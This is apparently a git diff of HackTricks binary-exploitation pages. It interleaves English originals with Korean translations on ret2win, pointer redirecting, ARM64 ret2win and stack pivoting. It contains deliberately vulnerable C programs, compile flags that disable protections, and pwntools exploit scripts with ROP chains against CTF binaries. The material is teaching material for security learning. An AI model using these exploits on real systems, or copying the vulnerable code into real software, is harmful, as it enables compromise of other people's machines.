In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리** 내에 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화되어 있음) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{{#ref}}
ret2win/
{{#endref}}
### Stack Shellcode
### 스택 셸코드
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
이 시나리오에서 공격자는 스택에 셸코드를 배치하고 제어된 EIP/RIP를 악용하여 셸코드로 점프하고 임의의 코드를 실행할 수 있습니다:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... techniques
### ROP & Ret2... 기술
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 이는 기존의 바이너리 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Heap Overflows
## 힙 오버플로우
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
오버플로우는 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Types of protections
## 보호 유형
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
취약점 악용을 방지하기 위한 여러 가지 보호 장치가 있습니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -1,28 +1,28 @@
# Pointer Redirecting
# 포인터 리다이렉팅
{{#include ../../banners/hacktricks-training.md}}
## String pointers
## 문자열 포인터
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
함수 호출이 스택에 위치한 문자열의 주소를 사용할 경우, 버퍼 오버플로우를 악용하여 **이 주소를 덮어쓰고** **이진 파일 내의 다른 문자열의 주소**를 넣는 것이 가능합니다.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
예를 들어, **`system`** 함수 호출이 **명령을 실행하기 위해 문자열의 주소를 사용할 경우**, 공격자는 **스택에 다른 문자열의 주소**인 **`export PATH=.:$PATH`**를 배치하고 현재 디렉토리에 **새 문자열의 첫 글자 이름을 가진 스크립트**를 생성할 수 있습니다. 이는 이진 파일에 의해 실행됩니다.
You can find an **example** of this in:
다음에서 **예제**를 찾을 수 있습니다:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts`
- 32비트, 스택에서 플래그 문자열의 주소를 변경하여 `puts`에 의해 출력되도록 함
## Function pointers
## 함수 포인터
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
문자열 포인터와 동일하지만 함수에 적용됩니다. **스택에 호출될 함수의 주소**가 포함되어 있는 경우, 이를 **변경하는 것이 가능합니다** (예: **`system`** 호출).
You can find an example in:
다음에서 예제를 찾을 수 있습니다:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## References
## 참고문헌
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
**Ret2win** 챌린지는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리로, 특히 **binary exploitation**과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 `win`, `flag`와 같은 이름을 가지고 있습니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택에서 **return address**를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다:
### C Example
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
### C 예제
취약점이 있는 간단한 C 프로그램과 우리가 호출하려는 `win` 함수가 있다고 가정해 보겠습니다:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
이 프로그램을 스택 보호 없이 **ASLR**을 비활성화하여 컴파일하려면 다음 명령어를 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다(선택 사항이지만 CTF 챌린지에서 일반적입니다).
- `-fno-stack-protector`: 스택 오버플로우에 대한 보호를 비활성화합니다.
- `-z execstack`: 스택에서 코드 실행을 허용합니다.
- `-no-pie`: 위치 독립 실행 파일을 비활성화하여 `win` 함수의 주소가 변경되지 않도록 합니다.
- `-o vulnerable`: 출력 파일 이름을 `vulnerable`로 설정합니다.
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
### Pwntools를 이용한 Python 익스플로잇
익스플로잇을 위해 **pwntools**를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 반환 주소를 `win` 함수의 주소로 덮어쓰는 페이로드를 생성합니다.
```python
from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
`win` 함수의 주소를 찾으려면 **gdb**, **objdump** 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어, `objdump`를 사용하여 다음과 같이 할 수 있습니다:
```sh
objdump -d vulnerable | grep win
```
이 명령은 `win` 함수의 어셈블리를 보여주며, 시작 주소를 포함합니다.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20;
Python 스크립트는 정교하게 제작된 메시지를 전송하여, `vulnerable_function`에 의해 처리될 때 버퍼가 오버플로우되고 스택의 반환 주소가 `win`의 주소로 덮어씌워집니다. `vulnerable_function`이 반환될 때, `main`으로 반환하거나 종료하는 대신 `win`으로 점프하고 메시지가 출력됩니다.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
## 보호 조치
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 누출이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 수행할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다.
- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
## 기타 예제 및 참조
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR
- 32비트, ASLR 없음
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address
- ASLR가 있는 64비트, 바이너리 주소의 누출 포함
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR
- 64비트, ASLR 없음
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- 32비트, ASLR 없음, 두 번의 작은 오버플로우, 첫 번째로 스택을 오버플로우하고 두 번째 오버플로우의 크기를 늘림
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32비트, relro, 카나리 없음, nx, pie 없음, `fflush` 주소를 `win` 함수로 덮어쓰는 포맷 문자열 (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32비트, nx, 다른 것 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32비트, nx, 다른 것 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- 프로그램은 입력 크기를 확인하기 위해 숫자의 마지막 바이트만 검증하므로, 마지막 바이트가 허용된 범위 내에 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 악용된 버퍼 오버플로우를 생성합니다.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- 64비트, relro, 카나리 없음, nx, pie. `win` 함수를 호출하기 위한 부분 덮어쓰기 (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- arm64, PIE, PIE 누출이 발생하며 `win` 함수는 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function
- ARM64, off-by-one으로 `win` 함수를 호출
## ARM64 Example
## ARM64 예제
{{#ref}}
ret2win-arm64.md

View File

@ -2,92 +2,80 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
arm64에 대한 소개는 다음에서 확인하세요:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
PIE와 카나리 없이 컴파일:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## 오프셋 찾기
## Finding the offset
### 패턴 옵션
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
이 예제는 [**GEF**](https://github.com/bata24/gef)를 사용하여 생성되었습니다:
gef로 gdb를 시작하고 패턴을 생성하여 사용합니다:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
arm64는 손상된 레지스터 x30의 주소로 돌아가려고 시도합니다. 이를 사용하여 패턴 오프셋을 찾을 수 있습니다:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).**
**오프셋은 72 (9x48)입니다.**
### Stack offset option
Start by getting the stack address where the pc register is stored:
### 스택 오프셋 옵션
pc 레지스터가 저장된 스택 주소를 가져오는 것으로 시작합니다:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
이제 `read()` 이후에 중단점을 설정하고 `read()`가 실행될 때까지 계속 진행한 다음 13371337과 같은 패턴을 설정합니다:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory:
이 패턴이 메모리에 저장된 위치를 찾으세요:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
그런 다음: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regular
Get the address of the **`win`** function:
**`win`** 함수의 주소를 가져옵니다:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Exploit:
악용:
```python
from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
사실 이것은 스택에 저장된 PC에서 오프 바이 2와 더 비슷할 것입니다. 모든 반환 주소를 덮어쓰는 대신 **마지막 2바이트만** `0x06c4`로 덮어쓸 것입니다.
```python
from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
ARM64에서 또 다른 off-by-one 예제를 찾을 수 있습니다: [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), 이는 허구의 취약점에서 실제 off-by-**one**입니다.
## With PIE
## PIE와 함께
> [!TIP]
> Compile the binary **without the `-no-pie` argument**
> 이진 파일을 **`-no-pie` 인수 없이 컴파일하세요.**
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
리크가 없으면 승리 함수의 정확한 주소를 알 수 없지만, 이진 파일에서 함수의 오프셋을 알 수 있으며, 우리가 덮어쓰고 있는 반환 주소가 이미 가까운 주소를 가리키고 있다는 것을 알면, 이 경우 승리 함수의 오프셋(**0x7d4**)을 리크하고 그 오프셋을 사용할 수 있습니다:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,65 +1,62 @@
# Stack Pivoting - EBP2Ret - EBP chaining
# 스택 피벗 - EBP2Ret - EBP 체이닝
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
As a reminder, **`leave`** basically means:
이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 이용합니다.
상기 사항으로, **`leave`**는 기본적으로 다음을 의미합니다:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
그리고 **EBP가 스택에** 있을 때 EIP 앞에 있기 때문에 스택을 제어하여 이를 제어할 수 있습니다.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드 주소가 있는 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes는 `pop` 작업을 고려한 것입니다), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 그곳에 저장한 주소를 가리키게 합니다.**\
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 갈 주소와 ESP가 가리키는 주소를 써야 할 주소입니다.
#### Exploit Construction
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
먼저 **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가고 **첫 번째 `ret`을 실행합니다.**
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
그 다음, **임의의 코드를 실행할** `ret`이 사용하는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
- Some [**ROP**](../rop-return-oriented-programing/) chain
- 유효한 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 주소.
- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 비트).
- **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**.
- 일부 [**ROP**](../rop-return-oriented-programing/) 체인
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분의 `leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속 제어할 수 있습니다.
#### Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우 **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\
보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.
### **EBP Chaining**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP``leave; ret` 주소를 넣으면 **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다.**
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
- **`system()`** -> Called by `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
- **`&("/bin/sh")`**-> Param fro `system`
- **`&(next fake EBP)`** -> `leave` 명령어의 `pop ebp`로 인해 새로운 EBP를 로드합니다.
- **`system()`** -> `ret`에 의해 호출됩니다.
- **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
- **`&("/bin/sh")`** -> `system`의 매개변수
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/)와 비슷하지만, 명백한 이점 없이 더 복잡할 수 있으며 일부 엣지 케이스에서 흥미로울 수 있습니다.
또한, 이 기술을 사용하여 **스택 누수**로 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
```python
from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP는 사용되지 않을 수 있음
## EBP might not be used
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 만약 바이너리가 일부 최적화와 함께 컴파일된다면, **EBP는 ESP를 제어하지 못함**으로 인해, EBP를 제어하여 작동하는 어떤 익스플로잇도 기본적으로 실패하게 됩니다.\
이는 **프로롤로그와 에필로그가** 바이너리가 최적화되면 변경되기 때문입니다.
- **최적화되지 않음:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimized:**
- **최적화됨:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## RSP를 제어하는 다른 방법
## Other ways to control RSP
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
### **`pop rsp`** 가젯
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 leak**이 있었습니다:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@ -168,26 +159,23 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
